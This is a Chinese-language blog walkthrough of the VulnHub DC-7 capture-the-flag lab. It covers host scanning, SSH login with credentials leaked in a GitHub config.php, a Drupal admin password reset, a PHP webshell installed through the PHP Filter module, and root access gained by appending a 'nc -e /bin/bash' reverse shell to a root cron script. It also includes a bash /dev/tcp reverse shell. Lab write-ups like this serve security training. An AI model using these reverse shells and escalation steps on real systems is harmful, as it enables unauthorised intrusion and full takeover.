vulnhub DC-7

探测局域网内存活主机

nmap -sP 192.168.19.128/24

发现存活主机192.168.19.134,扫描其开放端口

nmap -p- 192.168.19.134

结果如下

22/tcp open  ssh
80/tcp open  http

访问80端口

渗透

现用whatweb扫描看一下是什么

whatweb -v 192.168.19.134

发现使用的是Drupal开源CMS框架.然而本题的漏洞点实际不出在这.我们可以看到网站的下面存在DC7USER字样猜测是作者签名
搜索发现github有作者留下来的源码.
其中存在config.php如下.

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

直接使用username和password去登录ssh.(为什么不尝试登录web?因为web的登录账号密码一定是会放在db中的,不会放到文件中)

ssh dc7user@192.168.19.134 -p 22

我们发现存在mbox文件,查看发现包含如下内容

Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EPu-0000CV-5C@dc-7>
Date: Thu, 29 Aug 2019 17:00:22 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists

可以知道数据库保存到/home/dc7user/backups/website.sql
然后我们还看到了有cron定时以root用户权限执行/opt/scripts/backups.sh
我们查看这个文件

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

可以看到就是定时对数据库和网站文件进行备份和加密的过程.我们查看该文件的权限

ls -l /opt/scripts

如下

-rwxrwxr-x 1 root www-data 520 Aug 29  2019 backups.sh

我们只有读和执行的权限,并没有写的权限.这个文件属于root,因此如果我们如果能追加一个/bin/bash,那么在这个脚本定时以root权限运行的时候就能做到提权
由于使用的是Drupal开源CMS框架,因此我们可以进行数据库的修改

cd /var/www/html
drush  sql-dump --result-file=/home/dc7user/backups/website.sql

我们先将数据库dump出来,然后对其进行修改

drush user-password admin --password=123456

然后我们在web端进行登录.
发现可以在Content—>Add content->Basic page去添加文章,然而只能添加html格式的,这显然不是很好.
查阅资料发现Drupal8以后为了安全问题只允许文章为html格式,但是可以添加扩展.
点击Extend->List->Install new model
然后添加我们在网上找到的扩展的网址

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image

然后点击Enable newly added modules去进行安装
勾选PHP Filter然后点击Install
image

此时再去添加文章时显示可以选择PHP Code.
写入一句话木马,然后用蚁剑链接马,url为http://192.168.19.134/node/4

提权

反弹shell到kali

nc -lvvp 2333 #kali
bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1' #蚁剑

然后我们此时用户为www-data,有权限向/opt/scripts/backups.sh中去添加提权.
我们可以直接在蚁剑中向该文件写入

nc -e /bin/bash 192.168.19.128 12345

然后再kali下另开一个终端去接收

nc -lvvp 12345

等待一万年直到cron运行了脚本,提权成功.
去root home查看flag
image

posted @ 2024-07-25 19:56  colorfullbz  阅读(60)  评论(0)    收藏  举报